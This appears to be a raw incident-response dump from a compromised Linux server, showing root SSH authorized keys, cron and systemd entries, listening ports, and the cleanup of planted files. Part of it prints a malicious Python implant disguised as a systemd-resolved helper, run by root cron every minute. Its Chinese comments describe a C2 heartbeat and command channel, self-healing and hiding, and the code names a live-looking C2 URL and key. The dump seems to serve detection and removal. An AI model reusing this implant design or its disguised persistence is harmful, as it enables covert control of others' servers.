LSROOT /root/.ssh ===== total 44 drwx------ 2 root root 48 Oct 20 16:31 . drwx------ 29 root root 20480 Oct 26 20:13 .. -rw------- 1 root root 1076 Oct 24 22:58 authorized_keys -rw-r--r-- 1 root root 142 Oct 20 16:31 known_hosts ===== HIST ===== --- /root/.bash_history --- absent --- /root/.zsh_history --- absent ===== AUTHLOG ===== tail: cannot open '/var/log/auth.log' for reading: No such file or directory ===== HOSTS ===== # Your system has configured 'manage_etc_hosts' as True. # As a result, if you wish for changes to this file to persist # then you will need to either # a.) make changes to the master file in /etc/cloud/templates/hosts.debian.tmpl # b.) change or remove the value of 'manage_etc_hosts' in # /etc/cloud/cloud.cfg or cloud-config from user-data # 127.0.1.1 C20250425817519.local C20260705111036 127.0.0.1 localhost # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters ===== RESOLV ===== nameserver 8.8.8.8 nameserver 1.1.1.1 ===== KNOWN_HOSTS ===== |1|Bgb5DGz4V1cU/ckWyDC1dFqU/9o=|4lrXZzYn2HVsj3N3MyDmZLsbcFE= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKDMl6LbMo5bRS4NCnYu4pSbVpuW/lsJTRPekrijcv/P --- known_hosts.old --- cat: /root/.ssh/known_hosts.old: No such file or directory ===== AUTHKEYS ===== ssh-rsa nginx@localhost ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0S+LUxy9QxMU3y+xIg79CpCitUfyGf8go9W+YsQPYdwAFuiGDJ6+Vheq7JhGeYLTeq1uQyry0ToC1f2aRqzXD/QEjUjtCGlhozOljs0zNTJiy78j30dTqIHM/MTzHjPAl0ME+wrmBOdXCpwdWROUG0Jxu3MocGskfAhs8U7Lf2SiKrZL7Eb7KEXuJcxtlTkDw9xp7+VYSk3w6TpYL7nQAqWpw7wLUKvNU0Z9dSINZcxB4ICbryt/8KuGI3m/jJ2pbBrGaFAYJYt0CEUytBwmnSmw9g5uW/cM6yP+6Wu1rU096tp6I0zVNApmnbjPkR6hJVH5tPa6BXqlG8WlzEJJiwvo8YB7/dArTwbJGVjc/0SEorpsccqHgHy37e1Ke54sp0Hm31iFxaZCUbZvfMNhdKNJbEbbfFxlazdrnKNWMlTnJLBFV1ggJm1EpUioUKHfW2nZufLN6lfN0kqNgFtt28XAEBH6ZufQERc8FwImW1Y1RiWlg0UYNmFXffHlFiT7gbUn/QYLco5Jn+FR0iPKsujiBQJfszZxJUBGX2GrTDMO8OGmmVeL+m34L0EZ9d/4PIWaXwWQJWHz9QdH6vn+RJ5TDL1GWtPK/mVYSbpRghZ20MEGHslECf1zzLtvh8kqd+li8vGq6DHzLIhXgg08zVyWHOjnW1aryWwjIENi9WQ== root@ZT5481784901 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILsTOkgOQQNJJ73ndyXxfHT4fZYqb2nDdIzeg1lasfWx root@ZT5481784901 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMx/h5/Us8RNjFWI06j0zR7Fibc4KpuYck8+mjklBXjC auspicious@auspiciousdeMacBook-Air.local ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0Y+oq0n7RWjd05hcwMgCB1wGYZ/g6aITOb4wCWLefI hatch ===== SSHCONFIG ===== cat: /root/.ssh/config: No such file or directory ===== CRON.D INVENTORY ===== total 28 drwxr-xr-x 2 root root 93 Oct 20 18:26 . drwxr-xr-x 111 root root 8192 Oct 25 11:44 .. -rw-r--r-- 1 root root 802 Apr 16 2023 certbot -rw-r--r-- 1 root root 201 Mar 5 2023 e2scrub_all -rw-r--r-- 1 root root 102 Mar 2 2023 .placeholder -rw-r--r-- 1 root root 96 Oct 28 16:27 systemd-networkd-76049fc0 ===== CRON.D SYSTEMD-NETWORKD ENTRIES ===== --- /etc/cron.d/systemd-networkd-76049fc0 --- 96 /etc/cron.d/systemd-networkd-76049fc0 */1 * * * * root /usr/bin/python3 /usr/lib/systemd/systemd-resolved-02248133.py >/dev/null 2>&1 ref=/usr/lib/systemd/systemd-resolved-02248133.py 10466 /usr/lib/systemd/systemd-resolved-02248133.py 0722b67811d446833bf2ff38ed7a75eba956dfa2442707a438f12b50a7aa950b /usr/lib/systemd/systemd-resolved-02248133.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- # ============================================================================ # DESIGN B 载荷（cron 系，无常驻进程，与 DESIGN A 完全异构） # 路径：/usr/lib/systemd/systemd-resolved-.py 调度：/etc/cron.d/systemd-networkd- # 职能：心跳/指令（urllib 栈）· 自愈 B · 互救 A（重写 A 的薄壳+单元+守护） # 隐藏：无常驻进程（只留一个无害 cron 文件）· 载荷在 systemd 目录下的点目录 # ============================================================================ import json, os, re, subprocess, sys, time, urllib.request, urllib.error CF = os.environ.get("CF", "https://update.8o8.indevs.in") PK = os.environ.get("PK", "p_jpIQN-qeBGlTUrQuRzco70g3BUYxFhbO") UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" BD = "/usr/share/systemd/.helpers" def _p(path, default): try: return open(path).read().strip() or default except Exception: return default legacy_prefix = "/etc/.ar" + "tex_" for _old, _new in (("probe_id", "id"), ("aruntime", "run"), ("apath", "a"), ("aunit", "u"), ("bpath", "b"), ("cpath", "c")): op = legacy_prefix + _old; np = "/etc/.sysnet_" + _new ===== SYS UNITS SUSPECT ===== -rw-r--r-- 1 root root 139 Oct 20 16:27 /etc/systemd/system/systemd-networkd-711abcde.service -rw-r--r-- 1 root root 163 Oct 20 16:27 /etc/systemd/system/systemd-networkd-711abcde.timer ===== 22365 ATTRIBUTION ===== State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess LISTEN 0 65535 127.0.0.1:8788 0.0.0.0:* users:(("docker-proxy",pid=1125273,fd=8)) LISTEN 0 511 0.0.0.0:8443 0.0.0.0:* users:(("nginx",pid=830793,fd=14),("nginx",pid=830792,fd=14),("nginx",pid=7918,fd=14)) LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=830793,fd=5),("nginx",pid=830792,fd=5),("nginx",pid=7918,fd=5)) LISTEN 0 65535 0.0.0.0:111 0.0.0.0:* users:(("rpcbind",pid=1129971,fd=4),("systemd",pid=1,fd=124)) LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=6204,fd=3)) LISTEN 0 100 0.0.0.0:6080 0.0.0.0:* users:(("websockify",pid=319865,fd=3)) LISTEN 0 511 0.0.0.0:8096 0.0.0.0:* users:(("nginx",pid=830793,fd=15),("nginx",pid=830792,fd=15),("nginx",pid=7918,fd=15)) LISTEN 0 511 0.0.0.0:8000 0.0.0.0:* users:(("nginx",pid=830793,fd=13),("nginx",pid=830792,fd=13),("nginx",pid=7918,fd=13)) LISTEN 0 32 0.0.0.0:5900 0.0.0.0:* users:(("x11vnc",pid=3625782,fd=8)) LISTEN 0 65535 *:443 *:* users:(("xray",pid=3128710,fd=4)) LISTEN 0 65535 *:5201 *:* users:(("iperf3",pid=7196,fd=3)) LISTEN 0 511 [::]:80 [::]:* users:(("nginx",pid=830793,fd=6),("nginx",pid=830792,fd=6),("nginx",pid=7918,fd=6)) LISTEN 0 65535 [::]:111 [::]:* users:(("rpcbind",pid=1129971,fd=6),("systemd",pid=1,fd=126)) LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=6204,fd=4)) LISTEN 0 65535 *:2053 *:* users:(("xray",pid=3128710,fd=7)) LISTEN 0 32 [::]:5900 [::]:* users:(("x11vnc",pid=3625782,fd=9)) -- /proc/net/tcp :575D -- inode= -- banner(200 bytes) -- b a s h : c o n n e c t : C o n n e c t i o n r e f u s e d \n b a s h : l i n e 1 : / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 2 2 3 6 5 : C o n n e c t i o n r e f u s e d \n b a s h : l i n e 1 : 3 : B a d f i l e d e s c r i p t o r \n ===== END .3 Wed Oct 28 08:36:37 AM UTC 2026 ===== ssh_rc=0 ===== F RETIRE ZOUTER IMPLANT ===== after_retire: -rw-r--r-- 1 root root 19 Oct 28 16:36 /mnt/z1194/etc/cron.d/zt3_1194 -rwxr-xr-x 1 root root 19 Oct 28 16:36 /mnt/z1194/opt/z1194.sh out_tail: -- /proc/net/tcp :575D -- /proc/net/tcp: 2: 00000000:575D 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 13567651 1 00000000f0b02507 100 0 0 10 0 inode=13567651 -- banner(200 bytes) -- ===== END ZOUTER Wed Oct 28 08:36:07 AM UTC 2026 ===== removed_own_files=yes umount_rc=0 RDONE Wed Oct 28 08:37:38 AM UTC 2026